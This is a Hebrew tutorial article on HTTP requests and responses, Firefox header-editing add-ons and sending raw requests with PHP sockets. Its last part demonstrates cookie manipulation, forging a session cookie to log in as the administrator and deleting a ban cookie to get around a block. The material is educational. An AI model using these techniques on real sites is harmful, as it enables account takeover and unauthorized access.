Playing With HTTP

מאת רועי (Hyp3rInj3cT10n)

הקדמה

אנחנו גולשים באתרי אינטרנט, קוראים כותבים ומפרסמים טקסטים, מורידים ומעלים קבצים, ובעידן הזה-מחפשים ומוצאים כמעט הכל באמצעות שימוש ב גוגל. הגלישה באתרי אינטרנט הפכה להיות לפעולה פשוטה, קלה, מהירה מאוד, שגרתית ומובנת מאליו. אם אנחנו רוצים להכנס לתחום ההאקינג ואבטחת המידע, ואפילו רק לתחום התיכנות - אנחנו צריכים להבין איך זה עובד.

רב הגלישה באתרי אינטרנט מתבצעת באמצעות הפרוטוקול HTTP ודפדפני האינטרנט שלנו שמפשטים את העניין מאוד:

1. הדפדפן שולח בקשה (HTTP Request) לשרת.
2. מתבצעות פעולות בשרת, באמצעות שפות צד שרת (PHP, ASP, ASP.NET ועוד...).
3. מהפעולות הללו נבנה פלט שיוחזר לגולש הכתוב בשפות צד לקוח(HTML, CSS, JS וכולי...).
4. השרת מחזיר תגובה (HTTP Response) בליווי הפלט שנוצר.
5. את התגובה (כותרים ושפות צד לקוח) שהדפדפן קיבל הוא מנתח, ופועל בהתאם.

אז מה בעצם יהיה במאמר הזה?

- נלמד להכיר לעומק את הפרוטוקול ונלמד לנתח את מרכיביו (הבקשה והתגובה).
- נלמד להקליט בקשות ותגובות בעזרת תוספות לדפדפן Firefox. נשחק וננתח מספר דוגמאות.
- נלמד לממש את כל מה שלמדנו על הפרוטוקול בעזרת PHP: נרכיב בקשות, נשלח בקשות ונקבל תגובות!
- נלמד ונכיר מתקפות מסוגים שונים המתבססות על כל מה שלמדנו, הכרנו ותרגלנו במשך הזמן.

בקשות (HTTP Requests)

מבנה הבקשה

לבקשה שנשלחת לשרת יש מבנה קבוע:

```
[Request Method] [Destination File] [HTTP Version]
[Headers]

[Content]
```

Request Method - שיטת הבקשה

לשליחת בקשות HTTP יש מספר רב של שיטות, כאשר הנפוצות ביותר הן (בהמשך נראה דוגמאות):

GET - הבקשה הסטנדרטית: עוברים מקישור לקישור, והמידע מועבר באמצעות שורת הכתובת.

POST - שיטה המתעסקת בהעברת מידע מטפסים (טפסי הרשמה, התחברות, שליחת הודעה ועוד...).

HEAD - שיטה הדומה ל-GET אך בעלת הבדל קטן, נרחיב בהמשך.

OPTIONS - שיטה שבה אנו מקבלים כתגובה מידע אודות השיטות הניתנות לשימוש.

TRACE - שיטה שמיועדת ל-debugging, ועליה מתבסת המתקפה XST (יורחב בהמשך).

CONNECT - מתודה שבעזרתה ניתן להתחבר לשרת ולהשתמש בו כשרת פרוקסי.

Destination File - הקובץ שאליו ניגש

אני אסביר באמצעות דוגמה:

```
http://www.roy.com/index.php?page=register&section=terms-of-use
```

במקרה הזה, הקובץ אליו אנו ניגשים הינו (כן, שם הקובץ וגם המשתנים המועברים באמצעות שורת הכתובת):

```
/index.php?page=register&section=terms-of-use
```

HTTP Version - גירסת הפרוטוקול

גירסת הפרוטוקול נכתבת בצורה הבאה:

```
HTTP/[Version]
```

לדוגמה:

```
HTTP/1.0
```

והיום, השימוש השכיח ביותר הינו:

```
HTTP/1.1
```

Headers - כותרים (הידרים)

ההידרים הם בעיקר נתונים שהדפדפן שולח לשרת בכדי שהשרת יוכל לספק לו תגובה טובה יותר.
אופן השימוש בהידרים הוא כדלהלן:

```
[Name]: [Value]
[Name]: [Value]
[Name]: [Value]
[Name]: [Value]
```

שימו לב שההידרים מופרדים ממה שהיה מעליהם ובין עצמם באמצעות ירידת שורה(CRLF).

להלן רשימה של מספר הידרים שכדאי שתכירו: (* = הידר חובה שבלעדיו הבקשה לא תענה בחיוב)

- ***Host**: מכיל בערכו את ה-Host (דומיין או כתובת IP) של האתר אליו אנו רוצים להגיע
- **Connection**: סוג החיבור: סגור (close) או נשאר פתוח (keep-alive). אם החיבור נשאר פתוח, אז יבוא הידר נוסף.
- **Keep-Alive**: הידר שמציין את הזמן שעל החיבור להשאר פתוח במידה וזה סוג החיבור.
- **User-Agent**: הידר שמספק לשרת מידע אודות הגולש. (בקרו ב-useragentstring, באמת אתר שחובה להכנס אליו)
- **Accept** וחבריו (Accept, Accept-Language, Accept-Charset, Accept-Encoding): מה הדפדפן מוכן לקבל.
- **Referer**: הכתובת שממנה הופננו לדף שכעת אנו הולכים לצפות בו. אם אין, ההידר לא נשלח.
- **Cookie**: הידר שבו הדפדפן מעביר את כל מידע העוגיות הדרוש.
- **Content-Type**: כשאנו שולחים מידע בשיטה POST, כך נגדיר את הקידוד שבו המידע נשלח.
- **Content-Length**: הידר המציין את אורך ה-Content שנרשום.

יש עוד הרבה הידרים , חלקם קשורים ל- Cache של הדפדפן , לשרתי פרוקסי ולעוד דברים אחרים. אפשר למצוא עוד הרבה מידע על הידרים נוספים בקישור הבא:

http://en.wikipedia.org/wiki/List_of_HTTP_headers#Requests

Content - התוכן שנשלח

כשאנחנו משתמשים בשיטות מסויימות (כמו POST), יש לצרף תוכן לבקשה שאנחנו רוצים לשלוח לשרת. על התוכן להיות מופרד במרווח של שורה מההידר האחרון, כלומר:

```
[Headers] יורדים שורה
שוב יורדים שורה
[Content]
```

תגובות (HTTP Responses)

מבנה התגובה

כשאתם שואלים שאלה, מבקשים בקשה, מדברים ויוצרים קשר עם מישהו, אתם מצפים לקבל תגובה. גם פה זה ככה. הדפדפן שולח בקשה (שממש עכשיו הבנו איך היא בנויה), והוא מצפה לקב ל תגובה מהשרת בהתאם לבקשה ששלח. גם לתגובות יש מבנה קבוע, והוא:

```
[HTTP Version] [Response Id] [Response Name]
[Headers]

[Content]
```

אני מזכיר שעל HTTP Version דיברנו מקודם, ולכן לא אחזור עליו שוב.
בניגוד ל-HTTP Version שנשאר זהה, ה-Headers וה-Content קצת שונים, ועליהם כן אסביר.

Response Id ו-Response Name

השרת יכול להחזיר מספר רב של תגובות, בהתאם למספר הרב של הסיטואציות ה קיימות (שזה מספר לא קטן כל כך). לכל תגובה אפשרית יש מספר סידורי (Response Id) ושם (Response Name) שמאפיינים את התגובה. בואו נכיר מספר תגובות שכיחות:

200, OK - הבקשה בוצעה בהצלחה.
301, **Moved Permanently** - העמוד אותו חיפשו הועבר לכתובת אחרת.
304, **Not Modified** - העמוד לא השתנה מאז הפעם האחרונה שהדפדפן תיעד אותו (קשור ל-Cache בדפדפן).
400, **Bad Request** - הבקשה שגוייה (כנראה תחביר לא נכון).
401, **Unauthorized** - דרוש אימות בכדי להגיע לאיזור שניסינו להגיע אלי
403, **Forbidden** - האיזור אליו רצינו להגיע אסור לכניסה.
404, **Not Found** - העמוד שאליו רצינו להגיע אינו קיים.
405, **Method Not Allowed** - נעשה שימוש בשיטה (Request Method) שאינה מורשית לשימוש.
500, **Internal Server Error** - שגיאת שרת פנימית.
501, **Not Implemented** - נעשה שימוש בשיטה שאינה קיימת.
503, **Service Unavailable** - השירות אינו זמין כעת.

Headers - כותרים

ממש כמו הידרים שמאפיינים את הבקשה שנשלחת, גם בתגובה יש הידרים שמאפיינים את אותה. הנה כמה מהם:

Date: הזמן עכשיו על פי השרת.

Server: מידע ופרטים אודות השרת (מערכת ההפעלה, רכיבים המותקנים עליו, גרסאות וכו'), המידע הזה עוזר לדע ת אילו מוצרים בעלי פרצות אבטחה מותקנים בשרת. אני ממליץ מאוד לעבור על HTTP Fingerprints מאת cp77fk4r (פורסם ב גיליון הרביעי של DigitalWhisper). הוא מסביר ומדגים שם בצורה נהדרת על דרכים בהן ניתן להשתמש בכדי לזהות חתימות משרתים, ניתוחם וביטול החתימות.

Last-Modified: זמן המציין את הפעם האחרונה שבה נערך הקובץ.

Content-Length: האורך של ה-Content שהוחזר.

Connection: אופן החיבור.

Content-Type: הקידוד של ה-Content שמוחזר.

Location: כותר המכיל את הכתובת הדף אליו נועבר. (זה בשימוש בדרך כלל בתגובות מספר 30x). ההידר הזה משמש בסיס למתקפות כמו HTTP Response Splitting ו-Open Redirection.

אלו הכותרים המרכזיים ששרתים נוהגים להחזיר. אפשר למצוא עוד בקישור הבא:
http://en.wikipedia.org/wiki/List_of_HTTP_headers#Responses

Content - התוכן שהוחזר

תוכן הבקשה היה התוכן שנשלח בבקשה , ואילו התוכן הזה הוא התוכן שמוחזר בתגובה . זהו תוכן הדף שבו אנו נצפה.

את התוכן הזה (קוד ב-HTML, CSS, JS... בקיצור שפות צד לקוח) הדפדפן מנתח ומציג לנו מידע על המסך בהתאם. שימו לב שהשרת אומר לדפדפן את אורך התוכן שנשלח אליו בעזרת הכותר Content-Length, והדפדפן משתמש באורך זה.

הערה חשובה: שימוש בשיטה HEAD מציין לשרת שלא להחזיר בתגובה את ה- Content, גם במידה וה-Content קיים.

דפדפני האינטרנט

קצת על דפדפני אינטרנט

דפדפן אינטרנט (Web Browser) הינו תוכנה העוזרת לנו לגלוש באינטרנט ולנהל את הגלישה שלנו בצורה טובה יותר . הדפדפן הפופולרי ביותר הוא Ineternet Explorer של מייקרוסופט, אשר מצורף במערכת ההפעלה Windows. הדפדפן הזה תמיד היה דפדפן איטי מאוד ביחס לדפדפנים אחרים, ותמיד היה ניתן לנצל ל רעה את משתמשיו. אמנם, מייקרוסופט התחילה לעשות מאמצים בשביל ל ארגן, לשפץ ולאבטח אותו יותר ויותר, אך עדיין, יש בשוק דפדפני אינטרנט טובים יותר, כמו לדוגמא:

Mozilla Firefox - פיירפוקס, הדפדפן מבית Mozilla. מדובר בפרוייקט קוד פתוח , ואחד הדפדפנים המאובטחים ביותר.

Google Chrome - דפדפן של גוגל. כשהוא נכנס לשוק הוא היה הדפדפן המהיר ביותר.

Safari – דפדפן הבית של Apple, בין הדפדפנים המהירים ביותר שיש כיום וגם לו יש עיצוב יפה מאוד :)

תוספות לדפדפן Firefox

הדפדפן פיירפוקס הוא פרוייקט קוד פתוח, כמו שכבר אמרתי ולכן פותחו לו הרבה מאוד תוספות.
בין התוספות שפותחו לו, ניתן למצוא תוספות לא רעות להקלטת הבקשות והתגובות ולעריכת הבקשות.

חשוב לי לציין שמלבד התוספות שאציג , יש עוד הרבה תוספות שלא יצא לי לנסות שכנראה גם עושות את העבודה:

HeaderMonitor
Modify Headers
Header Spy
HeaderControl
HTTP Resource Test
HeaderGetter
OpenHeader

אתם מוזמנים לנסות אותם בעצמכם.

התוסף Live HTTP Headers

תוסף זה מאפשר לנו להקליט את הבקשות שהדפדפן שולח לשרת ואת התגובות שהשרת מחזיר . ישנה כמובן אופציה לשמירת הלוג , עם כל התגובות והבקשות שתועדו בתוך קובץ טקסט , ובנוסף, התוסף כמובן מאפשר לנו לערוך בקשות ולשלוח אותן מחדש. כלי מומלץ מאוד לדעתי, אני משתמש בו לא מעט והוא עושה יפה מאוד את העבודה שלו.

לפני כניסה לאתר, בחלון של Firefox נלך ללשונית "כלים" ושם נלחץ על "Live HTTP Headers".
כעת, ניכנס לאתר בעזרת הדפדפן . כפי שבטח תוכלו לראות, החלון יתחיל להתמלא בבקשות ותגובות.
ניתן לשנות כל בקשה ולשלוח אותה מחדש בעזרת לחיצה על הכפתור "Reply" שנמצא בתחתית החלון.
לשמירת כל הבקשות והתגובות המופיעות בחלון הנוכחי יש ללחוץ על "Save All" שנמצא ליד הכפתור "Reply". לכלי הזה יש עוד מספר אפשרויות והוא פשוט מאוד לשימוש , אני בטוח שתסתדרו איתו ללא בעיות. ההתקנה פשוטה מאוד ומתבצעת בצורה אוטומטית על ידי הדפדפן.
ההורדה ניתנת בחינם באתר התוספות של מוזילה בקישור הבא:
https://addons.mozilla.org/he/firefox/addon/3829

התוסף Tamper Data

למעשה, התוסף הזה מספק לנו אפשרות לשליטה מלאה על כל הבקשות שהדפדפן רוצה לשלוח. בנוסף, התוסף מאפשר פעולת ביטול (Abort) לכל בקשה שהדפדפן מנסה לשלוח לכל א תר. הוא מאפשר לנו לערוך את הבקשות שהדפדפן מנסה לשלוח עוד לפני שהן באמת נשלחות . הוא מקנה לנו עוצמה רבה . וכמובן - אפשר לראות את המידע שנשלח בצורה מסודרת. אני ממליץ מאוד גם על הכלי הזה. גם בו אני משתמש לא מעט כי הוא באמת עושה את העבודה שלו.

ההתחלה זהה - רק שהפעם נבחר ב- "Tamper Data" במקום ב-"Live HTTP Headers". לחצו על Start Tamper ובצעו פעולה שתגרום לשליחת בקשה . יקפוץ חלון שיאפשר לכם לערוך את הבקשה . בחלון הראשי של Tamper Data תוכלו לראות בצורה נוחה ומסודרת את הבקשות שנשלחו והתגובות שהתקבלו. גם פה מדובר בממשק נוח ומסודר, ואני בטוח שתוכלו להסתדר ללא בעיה עם בעת השימוש ב-Tamper Data. ההתקנה פשוטה מאוד ומתבצעת בצורה אוטומטית על ידי הדפדפן.

ניתן למצוא את ההורדה, מידע נוסף ותמונות בקישור הבא:
https://addons.mozilla.org/he/firefox/addon/966

דוגמאות לבקשות ותגובות

דוגמה ל-GET/HEAD

<u>תזכורת:</u> המתודה GET מאפשרת שליחת נתונים באמצעות שורת הכתובת וקבלת תגובה עם תוכן הדף.

המתודה HEAD שונה מ-GET בכך שאינה מלווה בתוכן הדף, אלא רק בכותרים (Headers).

לצורך הדוגמה נראה בקשה שהדפדפן שלי שולח לאתר http://php.net כשאני נכנס אליו:

```
GET / HTTP/1.1
Host: php.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.1.7) Gecko/20091221
Firefox/3.5.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: he,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
```

וכמובן הנה גם התגובה שהוא קיבל:

```
HTTP/1.x 200 OK
Date: Mon, 12 Oct 2009 17:27:41 GMT
Server: Apache/1.3.41 (Unix) PHP/5.2.9RC3-dev
X-Powered-By: PHP/5.2.9RC3-dev
```

```
Last-Modified: Mon, 12 Oct 2009 18:50:22 GMT
Content-Language: en
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=utf-8
```

פה יש את כל קודי צד הלקוח כמו...HTML, CSS, JS החלק הזה צונזר כי הוא ארוך ומיותר בשביל הדוגמה, את הקוד שהדפדפן מקבל מאתר אפשר לראות בעזרת "הצג מקור" כשלוחצים על הלחצן הימני בעכבר.

אני שוב מזכיר שהתגובה ל-HEAD לא מלווה ב-Content (שגם ככה לא הצגתי אותו פה כי הוא ארוך).

דוגמה ל-POST

תזכורת: המתודה POST משמשת להעברת מידע באמצעות טפסים / Forms (ללא שימוש בשורת הכתובת) ולקבלת מידע.

להלן הבקשה שהדפדפן שלי שולח כשאני מחפש את הפונקציה echo באתר php.net:

```
POST /search.php HTTP/1.1
Host: www.php.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.1.7) Gecko/20091221
Firefox/3.5.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: he,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://php.net/
Cookie: COUNTRY=ISR%2Cצונזר; LAST_LANG=en
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

pattern=echo&show=quickref&x=0&y=0
```

והתגובה שהתקבלה:

```
HTTP/1.x 302 Found
Date: Mon, 12 Oct 2009 17:28:58 GMT
Server: Apache/1.3.41 (Unix) PHP/5.2.9RC3-dev
X-Powered-By: PHP/5.2.9RC3-dev
Content-Language: en
```

```
X-PHP-Load: 0.8916015625, 0.9599609375, 0.97265625
Location: http://il2.php.net/search.php?show=quickref&pattern=echo&
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
```

פה יש את כל קודי צד הלקוח כמו HTML, CSS, JS וכו', החלק הזה צונזר כי הוא ארוך ומיותר בשביל הדוגמה. את הקוד שהדפדפן מקבל מאתר אפשר לראות בעזרת "הצג מקור" כשלוחצים על הלחצן הימני בעכבר.

דוגמה ל-OPTIONS

הנה דוגמה לבקשה המשתמשת בשיטה OPTIONS לשרת הביתי שלי:

```
OPTIONS /index.html HTTP/1.1
Host: 127.0.0.1
```

והנה התגובה שקיבלתי:

```
HTTP/1.1 200 OK
Date: Thu, 25 Mar 2010 13:43:04 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l
mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4
Perl/v5.10.1
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: text/plain
```

הדגש הוא על השורה הבאה:

Allow: **GET**,**HEAD**,**POST**,**OPTIONS**,**TRACE**

השורה הזו מציגה בפנינו את השיטות לשליחת וקבלת נתונים הנתמכות בשרת

במידה וננסה להשתמש בשיטה שאינה נמצאת ברשימה, נקבל תגובה שממנה אפשר להבין ללא בעיה כי השרת אינו מאפשר להשתמש במתוד ה שבה ניסינו להשתמש (שימו לב ש המקרה תקף רק אם מדובר במתודה אמיתית שקיימת). במקרה והמתודה שננסה להשתמש בה לא תיהיה קיימת, נקבל שגיאה 501 Not Implemented.

בואו נראה דוגמה של תגובה שקיבלתי מהשרת הביתי שלי:

```
HTTP/1.1 405 Method Not Allowed
Date: Fri, 02 Apr 2010 11:42:20 GMT
Server: Apache/2.2.11 (Win32)
Allow: GET,HEAD,POST,OPTIONS,TRACE
```

```
Content-Length: 231
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>405 Method Not Allowed</title>
</head><body>
<h1>Method Not Allowed</h1>
<p>The requested method PUT is not allowed for the URL /index.html.</p>
</body></html>
```

במקרה הספציפי הזה, ניסיתי להשתמש במתודה PUT, וקיבלתי תגובה שמראה לי שהמתודה לא ניתנת לשימוש.

דוגמה ל-TRACE

תזכורת: המתודה TRACE מחזירה בתוכן שלה את הבקשה שנשלחה ומיועדת לצורכי Debug בלבד!

ולהלן דוגמה של בקשת TRACE שאני שולח לשרת הביתי שלי:

```
TRACE /index.html HTTP/1.1
Host: 127.0.0.1
```

והתגובה שהתקבלה:

```
HTTP/1.1 200 OK
Date: Fri, 02 Apr 2010 11:41:20 GMT
Server: Apache/2.2.11 (Win32)
Transfer-Encoding: chunked
Content-Type: message/http

TRACE /index.html HTTP/1.1
Host: 127.0.0.1
```

כפי שניתן לראות בבירור, התגובה החזירה ב-Content שלה את הבקשה ששלחתי.

בואו נראה עוד דוגמה:

```
TRACE /index.html HTTP/1.1
Host: 127.0.0.1
User-Agent: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.2)
Gecko/
20100316 Firefox/3.6.2
Accept-Language: he,en-us;q=0.7,en;q=0.3
```

והתגובה:

```
HTTP/1.1 200 OK
Date: Fri, 02 Apr 2010 11:50:03 GMT
Server: Apache/2.2.11 (Win32)
Transfer-Encoding: chunked
Content-Type: message/http

TRACE /index.html HTTP/1.1
Host: 127.0.0.1
User-Agent: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.2)
Gecko/
20100316 Firefox/3.6.2
Accept-Language: he,en-us;q=0.7,en;q=0.3
```

מימוש ושימוש ב-PHP

עד עכשיו למדנו על הפרוטוקול מכל מיני כיוונים, כעת נלמד כיצד ליישם את מה שלמדנו עד כה. חשוב לי לציין שהפרק הזה לא נועד ללימוד PHP, אלא להדגמת שימושים אפשריים.

שימוש בפונקציה file_get_contents

זו הדוגמה הראשונה והפשוטה ביותר שהייתי רוצה להציג בפניכם:

```
<?php
echo file_get_contents('http://www.google.co.il/search?q=Hyp3rInj3ct10n');
?>
```

הפונקציה למעשה שולחת בקשת GET לשרת, מנתחת את התגובה ומחזירה את תוכן הדף בלבד (ללא הכותרים).

ניתן גם להשתמש בפונקציה הזו בצורה מורכבת יותר ולהרכיב בקשה לבד.
להעמקה: http://il.php.net/file_get_contents
שימו לב שאנחנו לא נמצאים בדפדפן האינטרנט שלנו ולכן יש לציין כתובת מלאה, כולל הקידומת (http://:) של הפרוטוקול.

שימוש ב-fsockopen וחבריו

השימוש ב-fsockopen הוא לדעתי הדרך הנוחה ביותר לשליחה וניהול בקשות עם PHP.

שליחת בקשה עם המתודה GET:

```
<?php
$socket = fsockopen('127.0.0.1',80);

if ( $socket )
{
   $data = "GET /index.php?page=news HTTP/1.1\r\n";
   $data .= "Host: 127.0.0.1\r\n\r\n";

   fwrite($socket,$data);

   while (!feof($socket))
      echo fgets($socket,128);

   fclose($socket);
}
?>
```

הערה חשובה: את מה שמוחזר תמיד עדיף לראות אחרי לחיצה על הצג מקור בדפדפן

שליחת בקשה עם המתודה HEAD: (זה עובד על אותו עיקרון של ה-GET. ההבדל הוא בפלט שיוחזר)

```
<?php
$socket = fsockopen('127.0.0.1',80);

if ( $socket ){
   $data = "HEAD /index.php?page=news HTTP/1.1\r\n";
   $data .= "Host: 127.0.0.1\r\n\r\n";

   fwrite($socket,$data);
   while (!feof($socket))
      echo fgets($socket,128);
   fclose($socket);
}
?>
```

שליחת בקשה עם המתודה POST: (עם הידרים שהדפדפן שלי שלח)

```
<?php
$socket = fsockopen('127.0.0.1',80);
```

```
if ( $socket ){
   $data = "POST /post.php HTTP/1.1\r\n";
   $data .= "Host: 127.0.0.1\r\n";
   $data .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.2)
Gecko/20100316 Firefox/3.6.2\r\n";
   $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
   $data .= "Accept-Language: he,en-us;q=0.7,en;q=0.3\r\n";
   $data .= "Accept-Encoding: gzip,deflate\r\n";
   $data .= "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n";
   $data .= "Keep-Alive: 115\r\n";
   $data .= "Connection: keep-alive\r\n";
   $data .= "Referer: http://localhost/post.php\r\n";
   $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
   $data .= "Content-Length: 19\r\n\r\n";
   $data .= "nick=Hyp3rInj3cT10n";
   fwrite($socket,$data);
   while (!feof($socket))
      echo fgets($socket,128);
   fclose($socket);
}
?>
```

אם כבר הספקתם לשכוח, שלחתי בקשת TRACE ובקשת OPTIONS לשרת הביתי שלי.
ככה בדיוק עשיתי את זה:

שליחת בקשה עם המתודה TRACE:

```
<?php
$socket = fsockopen('127.0.0.1',80);

if ( $socket )
{
   $data = "TRACE /index.html HTTP/1.1\r\n";
   $data .= "Host: 127.0.0.1\r\n\r\n";

   fwrite($socket,$data);

   while (!feof($socket))
      echo fgets($socket,128);

   fclose($socket);
```

```
}
?>
```

שליחת בקשה עם המתודה OPTIONS:

```
<?php
$socket = fsockopen('127.0.0.1',80);

if ( $socket )
{
   $data = "OPTIONS /index.html HTTP/1.1\r\n";
   $data .= "Host: 127.0.0.1\r\n\r\n";

   fwrite($socket,$data);

   while (!feof($socket))
      echo fgets($socket,128);

   fclose($socket);
}
?>
```

צפיה, עריכה ומחיקה של עוגיות

כפי שאני בטוח שכבר הבנתם , הבקשה שאנו שולחים היא משהו שאנחנו יכולים להרכיב ולשנות ו באופן ידני. היכולת לשליטה בבקשה הנשלחת לשרת יכולה לאפשר לנו לעשות הרבה מאוד.

עוגיה היא כלי שבו משתמשים אתרים לשמירת מידע מסויים הקשור לגולש . לדוגמה, לאחר התחברות, נשמרים בעוגיות פרטי המשתמש שלנו כדי לאפשר לאתר לזהות שאנחנו מחוברים

אז איך זה בעצם עובד? כבר נראה, אך לפני זה אני מזכיר לכם שהתגובה כבר לא צריכה להיות מוסתרת מאיתנו מאחר ואנו משתמשים באחד מהכלים אשר הצגתי מקודם. במילים אחרות, **יש לנו גישה לצפיה בעוגיות**.

הגולש שולח בקשה באמצעות השיטה POST (בדרך כלל) עם שם המשתמש והסיסמה שלו.

לדוגמה:

```
POST /login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.2) Gecko/20100316
Firefox/3.6.2
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: he,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://localhost/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

username=Hyp3rInj3cT10n&password=45h6ff2&send=Login
```

והוא מקבל תגובה בערך כזאת:

```
HTTP/1.1 200 OK
Date: Fri, 26 Mar 2010 14:03:21 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l
mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4
Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: id=1538; expires=Sat, 20-Apr-2013 12:13:12 GMT
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

כאשר כאן מגיע תוכן הדף שמראה לנו כי ההתחברות בוצעה בהצלחה
```

שימו לב לשורה המודגשת אשר מורה לדפדפן להוסיף עוגיה ששמה id וערכה 1538.

הדפדפן יודע שהעוגיה חשובה ולכן הוא מוסיף אותה לשאר הבקשות העתידיות שישלח

לדוגמה:

```
GET /index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.2) Gecko/20100316
Firefox/3.6.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: he,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
```

```
Connection: keep-alive
Cookie: id=1538
```

שימו לב לשורה המודגשת בבקשה שהדפדפן שלח לשרת כשביקש להגיע לאינדקס האתר.

האתר יזהה אותי כמחובר בעזרת העוגיה שהדפדפן שלח אליו. אבל איך הוא יודע לקשר את שם החשבון אליי? התשובה פשוטה: לכל חשבון יש מספר סידורי. ה-id הוא מספר החשבון שלי: 1538.

רק רגע אחד, הסכמנו שאנחנו יכולים לשלוט בבקשה הנשלחת לשרת, לא? אז מה יקרה אם אשנה את הבקשה ל...

```
GET /index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.2) Gecko/20100316
Firefox/3.6.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: he,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: id=1
```

ע"י זה, שיניתי את המספר ש הופיע לי בעוגיה מ-1538 ל-1, המייצג את המספר הסידורי של החשבון הראשון במערכת.

החשבון הראשון במערכת הוא של מנהל המערכת מן הסתם. כלומר, האתר מזהה שאני מחובר כמנהל המערכת! השיטה הזו נקראת **Cookie Modification** וגם **Cookie Manipulation**. בעברית זה הרבה יותר פשוט: **עריכת עוגיות**. כמובן ששיטה זו יכולה להיות בשימוש גם במקרים בהם היה נשמר שם המשתמש, אימייל של המשתמש או פריט מזהה אחר.

היכולת שלנו לערוך עוגיות מקנה לנו עוד אפשרויות שאולי הצלחתם לחשוב עליה לבד, לדוגמא: **מחיקת עוגיות**. לצערי הרב, גם למקרה הזה יש לי דוגמה טובה מאוד שמתבסס על מקרים שעדיין קיימים גם בימים אלו: הרבה אנשים שלא ממש מבינים, ומכנים את עצמם מאבטחים של אתרי אינטרנט מוצאים לנכון לחסום חלק מהגולשים בטענה שהם מנסים לפרוץ לאתר. עד כאן זה נשמע הגיוני ואין בעיות, אבל הם חוסמים את הגולשים בעזרת עוגיות. זו בעיה. בואו נראה דוגמה לתגובה שמתקבלת מהשרת ומציבה עוגיית חסימה: (כאשר אין תלות בערך העוגיה)

```
HTTP/1.1 200 OK
Date: Fri, 26 Mar 2010 14:24:56 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l
mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4
Perl/v5.10.1
```

```
X-Powered-By: PHP/5.3.1
Set-Cookie: ban=1; expires=Sat, 20-Apr-2013 12:13:12 GMT
Content-Length: 0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html
```

כאשר כאן מגיע תוכן הדף שלא ממש מעניין כרגע

במקרה הזה, נוכל למחוק את העוגיה ולגלוש בכיף...

עריכת עוגיות על אמת

עד כה יכולנו לנחש (או לבדוק ולמצוא) את המספר הסידורי של המשתמש, את שם המשתמש ושאר הפרטים הגלויים. מטעמי אבטחה, השימוש בעוגיות הפך להיות מורכב יותר, וכיום יש 2 דרכים בטוחות יותר לזיהוי משתמשים מחוברים.

כשהעוגיה מורכבת ומוצפנת

במקרים בהם יש יותר מעוגיה אחת, שתיהן דרושות ולפחות אחת מהן מוצפנת אז אי אפשר להשתמש באותו טריק. במקרים כאלה ישנו הצורך להשתמש בשיטות שונות. אציג לכם את העיקריות שביניהן.

שימוש בכוח גס

כוח גס (Brute Force) - מעבר על כל הסיסמאות האפשריות. שיטה שלא תמיד אפשרית לביצוע, לוקחת הרבה מאוד זמן וגם לא תמיד מצליחה. בקיצור: בדרך כלל לא נצליח להשיג הרבה מלבד ביזבוז גדול של זמן ומשאבים.

